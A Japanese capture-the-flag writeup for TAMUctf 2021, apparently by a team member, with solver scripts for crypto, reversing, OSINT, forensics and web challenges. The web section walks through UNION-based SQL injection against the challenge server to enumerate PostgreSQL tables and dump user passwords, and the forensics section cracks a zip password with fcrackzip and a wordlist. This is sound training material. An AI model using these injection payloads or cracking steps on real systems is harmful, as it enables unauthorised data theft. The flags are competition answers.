この大会は2021/4/23 8:00(JST)~2021/4/26 8:00(JST)に開催されました。
今回もチームで参戦。結果は2100点で356チーム中36位でした。
自分で解けた問題をWriteupとして書いておきます。
Archival (OSINT 50)
Internet Archiveでhttps://tamuctf.com/を調べる。2020/11/12 01:37:48のものを見てみると、フラグが書いてあった。
gigem{s1t3_und3r_c0n57ruc710n}
Acrylic (Reversing 100)
バイナリにはフラグ文字列がたくさん含まれている。どれが正解かわからない。Ghidraでデコンパイルして確認してみる。
char * get_flag(void) { int local_10; uint local_c; local_10 = 0x7b; local_c = 0; while (local_c < 0x7e4) { local_10 = ((local_10 + 1) * local_10) % 0x7f; local_c = local_c + 1; } return flags + (long)local_10 * 0x40; }
flagsのアドレスは0x00301020flags + 5632(=0x302620)が返却される。そのアドレスのデータを見る。
00302620 67 69 67 ds "gigem{counteradvise_orbitoides}" 65 6d 7b 63 6f 75 00302640 00 ?? 00h 00302641 00 ?? 00h 00302642 00 ?? 00h 00302643 00 ?? 00h 00302644 00 ?? 00h 00302645 00 ?? 00h
gigem{counteradvise_orbitoides}
Basic RSA (Crypto 100)
Nを素因数分解する。
N = 21094081 * 99363191
フラグの{}の中が1文字ずつ暗号化されているようなので、素因数分解の結果から1文字ずつ復号する。
from Crypto.Util.number import * enc = [875597732337885, 1079270043421597, 616489707580218, 2010079518477891, 1620280754358135, 616660320758264, 86492804386481, 171830236437002, 1500250422231406, 234060757406619, 1461569132566245, 897825842938043, 2010079518477891, 234060757406619, 1620280754358135, 2010079518477891, 966944159095310, 1669094464917286, 1532683993596672, 171830236437002, 1461569132566245, 2010079518477891, 221195854354967, 1500250422231406, 234060757406619, 355168739080744, 616660320758264, 1620280754358135] N = 2095975199372471 e = 5449 p = 21094081 q = 99363191 phi = (p - 1) * (q - 1) d = inverse(e, phi) flag = 'gigem{' for c in enc: m = pow(c, d, N) flag += chr(m) flag += '}' print flag
gigem{RSA_s3cur1ty_1s_4b0ut_pr1m3s}
Ciphper (Crypto 100)
暗号化の処理概要は以下の通り。
・keyの指定がなければ、平文を返す。 ・keyの長さが8バイトより短い場合はエラー ・n: keyの長さが32未満はその長さ、それ以外は32 ・keyの各バイトは下5bitのみ有効
keyがフラグになっている。繰り返し、"gigem{" & ("\x1f" * 6) をXOR鍵として条件を満たす箇所を探す。
[+] index = 000 plaintext = to be [+] index = 032 plaintext = uestio [+] index = 052 plaintext = wirgvj [+] index = 064 plaintext = e mind [+] index = 074 plaintext = jnnodw [+] index = 096 plaintext = arrows [+] index = 128 plaintext = to tak [+] index = 160 plaintext = oubles
鍵の長さは32。フラグは切れているかもしれないが、まずは32バイトを探すことを考える。平文は、ハムレットに出てくるセリフであると推測できる。
以下のURLの内容を参考にする。
https://en.wikipedia.org/wiki/To_be,_or_not_to_be
import string def is_lowercase(s): chars = string.lowercase + ' ' for c in s: if c not in chars: return False return True with open('output.bin', 'rb') as f: enc = f.read() flag_head = 'gigem{' for i in range(len(enc) - len(flag_head) + 1): pt = '' for j in range(len(flag_head)): code = (ord(flag_head[j]) & 0x1f) ^ ord(enc[i+j]) pt += chr(code) if is_lowercase(pt): print i ## guess from here (need to add 32 or 64 or 96) pt = 'to be or not to be that is the q' flag = flag_head for i in range(6, 32): flag += chr((ord(enc[i]) ^ ord(pt[i])) + 96) for i in range(0, len(enc), 32): pt = '' for j in range(len(flag)): if i + j == len(enc): break code = (ord(flag[j]) & 0x1f) ^ ord(enc[i+j]) pt += chr(code) print '[+] index = %03d'% i, 'plaintext =', pt print '[*] flag =', flag
最終的なコードで実行した結果は以下の通り。
0 32 52 64 74 96 128 160 [+] index = 000 plaintext = to be or not to be that is the q [+] index = 032 plaintext = uestion whether tis nobler in th [+] index = 064 plaintext = e mind to suffer the slings and [+] index = 096 plaintext = arrows of outrageous fortune or [+] index = 128 plaintext = to take arms against a sea of tr [+] index = 160 plaintext = oubles and by opposing end them [*] flag = gigem{dont~roll~your~own~crypto}
gigem{dont~roll~your~own~crypto}
Encoding (Crypto 100)
ASCIIコードらしきものが並んでいるが、printableなコードではないものがある。4つの数値でグループ化すると、1つ目が134、2つ目が170、3つ目が63、4つ目が60か61になっている。4つ目だけを取り出し、2進数としてデコードする。するとbase32文字列になる。さらにデコードするとbase64文字列になる。最終的にはこれをデコードしたら、フラグになった。
from base64 import * with open('data.txt', 'r') as f: data = f.read().rstrip() codes = map(int, data.split(' ')) b_data = '' for i in range(0, len(codes), 4): assert codes[i] == 134 assert codes[i+1] == 170 assert codes[i+2] == 63 b_data += str(codes[i+3] - 60) msg = '' for i in range(0, len(b_data), 8): msg += chr(int(b_data[i:i+8], 2)) print msg msg = b32decode(msg) print msg flag = b64decode(msg) print flag
実行結果は以下の通り。
LIZGY3S2K4YTOTJSGVVE2R2SOBRG2ZDGJVME4ZTCNJBDAWBSJZ4WKWCCGBGUMOBQJVVGOMCNNJSDS=== Z2lnZW17M25jMGRpbmdfMXNfbjB0X2NyeXB0MF80Mjg0Mjd9 gigem{3nc0ding_1s_n0t_crypt0_428427}
gigem{3nc0ding_1s_n0t_crypt0_428427}
Ring Of Fire (Crypto 100)
"Love is a burning thing"から始まるこの歌詞とのXORをとる。歌詞は問題に書かれているものだと不足しているので、続きを調べる。歌詞はhttps://genius.com/Johnny-cash-ring-of-fire-lyricsに載っている。歌詞は以下の通り。
Love is a burning thing And it makes a fiery ring Bound by wild desire I fell in to a ring of fire I fell into a burning ring of fire I went down, down, down And the flames went higher And it burns, burns, burns The ring of fire The ring of fire I fell into a burning ring of fire I went down, down, down And the flames went higher And it burns, burns, burns The ring of fire The ring of fire The taste of love is sweet When hearts like ours meet I fell for you like a child Oh, but the fire went wild I fell in to a burning ring of fire I went down, down, down And the flames went higher And it burns, burns, burns The ring of fire The ring of fire :
with open('codeFile.txt', 'r') as f: data = f.read().rstrip() ct = '' for i in range(0, len(data), 8): ct += chr(int(data[i:i+8], 2)) key = '''Love is a burning thing And it makes a firery ring Bound by wild desire I fell in to a ring of fire I fell into a burning ring of fire I went down, down, down And the flames went higher And it burns, burns, burns The ring of fire The ring of fire I fell into a burning ring of fire I went down, down, down And the flames went higher And it burns, burns, burns The ring of fire The ring of fire The taste of love is sweet When hearts like ours meet I fell for you like a child Oh, but the fire went wild I fell in to a burning ring of fire I went down, down, down And the flames went higher And it burns, burns, burns The ring of fire The ring of fire ''' pt = '' for i in range(len(ct)): pt += chr(ord(ct[i]) ^ ord(key[i])) print pt
復号した結果は以下の通り。
John R. Cash (born J. R. Cash; February 26, 1932 – September 12, 2003) was an American singer, songwriter, musician, and actor. Much of Cash's music contained themes of sorrow, moral tribulation, and redemption, especially in the later stages of his career. gigem{x0r_is_c0mmuT4T1ve}. He was known for his deep, calm bass-baritone voice, the distinctive sound of his Tennessee Three backing band characterized by train-like chugging guitar rhythms, a rebelliousness coupled with an increasingly somber and humble demeanor, free prison concerts, and a trademark all-black stage wardrobe which earned him the nickname "The Man in Black".
文章の中にフラグが含まれていた。
gigem{x0r_is_c0mmuT4T1ve}
Unzip (Forensics 100)
$ fcrackzip -u -D -p dict/rockyou.txt chall.zip PASSWORD FOUND!!!!: pw == hunter2 $ unzip -P hunter2 chall.zip Archive: chall.zip extracting: flag.txt $ cat flag.txt gigem{d0esnt_looK_lik3_5t4rs_t0_M3}
gigem{d0esnt_looK_lik3_5t4rs_t0_M3}
API 2 : The SeQueL (Web 150)
https://shell.tamuctf.com/problem/49342/?name=Coneにアクセスすると、該当するデータが表示される。Codenameの部分一致でSQLを検索しているようだ。SQLインジェクションを試す。
■https://shell.tamuctf.com/problem/49342/?name=' union select 1 -- pq: each UNION query must have the same number of columns ■https://shell.tamuctf.com/problem/49342/?name=' union select 1,2 -- pq: each UNION query must have the same number of columns ■https://shell.tamuctf.com/problem/49342/?name=' union select 1,2,3 -- pq: each UNION query must have the same number of columns ■https://shell.tamuctf.com/problem/49342/?name=' union select 1,2,3,4 -- pq: each UNION query must have the same number of columns ■https://shell.tamuctf.com/problem/49342/?name=' union select 1,2,3,4,5 -- pq: UNION types character varying and integer cannot be matched
カラム数は5個で良さそう。一旦文字列にしてみる。
■https://shell.tamuctf.com/problem/49342/?name=' union select '1','2','3','4','5' -- pq: invalid input value for enum contlevel: "3" ■https://shell.tamuctf.com/problem/49342/?name=' union select '1','2',3,'4','5' -- pq: UNION types contlevel and integer cannot be matched
3の場所はenumで、用意されている文字列のどれかでないといけないようだ。
■https://shell.tamuctf.com/problem/49342/?name=Z' union select '1','2','thaumiel','3','4' -- Codename : 2 ID : 1 SCP Containment: thaumiel 3
これで準備は整ったので、データを探してみる。
■https://shell.tamuctf.com/problem/49342/?name=Z' union select '1',datname,'thaumiel','3','4' from pg_database -- Codename : scpfoundation ID : 1 SCP Containment : thaumiel 3 Card image Codename : template0 ID : 1 SCP Containment : thaumiel 3 Card image Codename : postgres ID : 1 SCP Containment : thaumiel 3 Card image Codename : template1 ID : 1 SCP Containment : thaumiel 3 ■https://shell.tamuctf.com/problem/49342/?name=Z' union select '1',table_catalog,'thaumiel',table_name,'4' from information_schema.tables where table_catalog = 'scpfoundation' -- Codename : scpfoundation ID : 1 SCP Containment : thaumiel pg_cast Card image Codename : scpfoundation ID : 1 SCP Containment : thaumiel pg_user Card image Codename : scpfoundation ID : 1 SCP Containment : thaumiel pg_init_privs Card image : ID : 1 SCP Containment : thaumiel pg_opfamily Card image Codename : scpfoundation ID : 1 SCP Containment : thaumiel pg_extension Card image ■https://shell.tamuctf.com/problem/49342/?name=Z' union select '1',table_name,'thaumiel',column_name,'4' from information_schema.columns where table_name = 'experiments' -- Codename : experiments ID : 1 SCP Containment : thaumiel description Card image Codename : experiments ID : 1 SCP Containment : thaumiel id Card image Codename : experiments ID : 1 SCP Containment : thaumiel codename Card image Codename : experiments ID : 1 SCP Containment : thaumiel img Card image Codename : experiments ID : 1 SCP Containment : thaumiel containment ■https://shell.tamuctf.com/problem/49342/?name=Z' union select id,codename,containment,description,'4' from experiments -- Codename : Teddy ID : 2 SCP Containment : euclid To please the teddy, one must offer them a sacrifice of your finest tea Card image Codename : Gnomial ID : 4 SCP Containment : thaumiel If encountered in the wild do not make eye contact. They only become more aggressive. Card image Codename : Ą̷̡̺̼̗͉̦̦̝̰̲͍͍͖͚̌̓̅̈͐̀̌̀̾̾͘̚̚̚͘̕d̴̻͓̫̭͎͙̮̲͖̭̖̬̦͉͗͒̈́̉̐͋͗̈́̑̄̉̍͑͘ͅd̸̛̙̮͚̩̦̘̗͛͛̓̂̀́̽̒͂͊́̚i̷̡̫͖͎͖͕͎͋̃̀̅̽̾͋͑̿́́͝͝ṡ̵̲̤̥̲̣͚̥̠̍ơ̸̼̒͊̏̅̀̽̿̊̅̈́͊̃̑̓͂͘ṅ̶̢̡͙̣̝̹͓̯̤͉̌̎͜ͅ ID : 5 SCP Containment : apollyon H̵̢̩̺̞̥̮̱̤̗̱̹͓̱͔͕̱̔̂̄̇̑̿̚͝Ė̵͍͔̈̂̑̃́̎̿͊͝͝ͅ ̴̢̛̣̦̽̃̿͠I̵̱͚͕͇̱̮͛͑̋́͐̔̓̑͂͘͠ͅS̷̪̝̲̫̝͙͓͒̇͂̍͗̍͐͜ ̷̪̹͕͙͍̭͎̖̺̘̈́̒̍Ȁ̷͚͇̘͓͓Ḽ̴̢̝̗̥̜̭̹̪͉͎̀̿̽R̴̛̗̾̌̂̌̉͊́͋̏E̷̛͉͍̫͆͂͐̍̏͆͒͊̌̚̕͜͝Ā̶̧̛̛̭̬͎̩̭̬̪̩̦̦͚͙̹̳̅̆͌̑͋̎̄͆̒͜͜ͅD̷̨̼̙̣̲̱͎̘̺͎͕̩͉̳̪̲͉̒̐͌̅͌͂͑͠Y̶̬͚̜̰͕̦̝̝͗͌͂͛́͊̈́̐̽̔͒̔͛͐̕͠ ̷͓͔͓̭̞̏̔́̄̋̍̎̽̎͒̈́́̇̊̕͠͠H̶̦̮̿̍͌̀̂̂͌̚̕Ẽ̶̢̛̦͖̖̪̖̬̜̭̄̎̋̎̄̓͒͌̄͌̽́̈R̷̨̢̡̨̖̩͈͖̺̤̳̜̼̱̭̩̤̈́̄̊̌̐̐̕̕͝ͅE̸̡̡̩͓͓̣̲̜͚̖̊̈́͊͒̓͘͜ Card image Codename : Default ID : 1 SCP Containment : safe default testing icon Card image Codename : Traffic Cone #88192 ID : 3 SCP Containment : neutralized We believe they appear from interdimensional rifts with no clear origin ■https://shell.tamuctf.com/problem/49342/?name=Z' union select '1',table_name,'thaumiel',column_name,'4' from information_schema.columns where table_name = 'users' -- Codename : users ID : 1 SCP Containment : thaumiel name Card image Codename : users ID : 1 SCP Containment : thaumiel id Card image Codename : users ID : 1 SCP Containment : thaumiel status Card image Codename : users ID : 1 SCP Containment : thaumiel password ■https://shell.tamuctf.com/problem/49342/?name=Z' union select id,name,'thaumiel',password,'4' from users -- Codename : teddy ID : 2 SCP Containment : thaumiel e2ec2b31abe380b989ff057aef66377a Card image Codename : admin ID : 3 SCP Containment : thaumiel gigem{SQL_1nj3ct1ons_c4n_b3_fun} Card image Codename : glenn ID : 1 SCP Containment : thaumiel 9651cbc7c0b5fb1a81f2858a07813c82
usersテーブルのadminユーザのパスワードにフラグがあった。
gigem{SQL_1nj3ct1ons_c4n_b3_fun}
simple_cipher (Reversing 150)
Ghidraでデコンパイルする。
undefined8 main(int param_1,long param_2) { byte bVar1; int iVar2; int iVar3; int iVar4; size_t sVar5; void *__ptr; int local_28; if (param_1 < 2) { puts("./simple_cipher <plaintext>"); /* WARNING: Subroutine does not return */ exit(1); } sVar5 = strlen(*(char **)(param_2 + 8)); iVar2 = (int)sVar5; __ptr = malloc((long)iVar2); srand(0x1337); local_28 = 0; while (local_28 < iVar2) { bVar1 = *(byte *)((long)((local_28 + 0xf) % iVar2) + *(long *)(param_2 + 8)); iVar3 = rand(); iVar4 = rand(); *(byte *)((long)__ptr + (long)local_28) = bVar1 ^ (byte)iVar3 ^ (byte)iVar4; local_28 = local_28 + 1; } printf("%s",__ptr); free(__ptr); return 0; }
暗号処理の概要は以下のようになっている。
・srand(0x1337) ・平文の各文字について以下の処理を行う。 ・0xfバイトシフト ・rand()を2回実行し、両方の結果とXORをとる。
まず必要な乱数だけ取得する。
#include <stdio.h> #include <string.h> #include <stdlib.h> void main() { int r; srand(0x1337); for (int i; i<68; i++) { r = rand(); printf("%d\n", r & 0xff); } }
実行結果は以下の通り。
37 46 34 215 193 114 215 110 179 42 163 241 248 234 240 176 87 213 232 226 11 127 8 77 207 216 0 232 251 141 107 33 187 141 248 124 255 208 234 178 250 141 163 242 119 147 163 207 105 139 177 116 10 186 193 217 146 194 194 141 79 45 174 10 186 167 134 185
このことを前提に復号する。
r = [37, 46, 34, 215, 193, 114, 215, 110, 179, 42, 163, 241, 248, 234, 240, 176, 87, 213, 232, 226, 11, 127, 8, 77, 207, 216, 0, 232, 251, 141, 107, 33, 187, 141, 248, 124, 255, 208, 234, 178, 250, 141, 163, 242, 119, 147, 163, 207, 105, 139, 177, 116, 10, 186, 193, 217, 146, 194, 194, 141, 79, 45, 174, 10, 186, 167, 134, 185] with open('flag.enc', 'rb') as f: enc = f.read() l = len(enc) flag = [''] * l for i in range(l): code = r[i*2] ^ r[i*2+1] ^ ord(enc[i]) flag[(i + 15) % l] = chr(code) flag = ''.join(flag) print flag
gigem{d0n7_wr173_y0ur_0wn_c1ph3r5}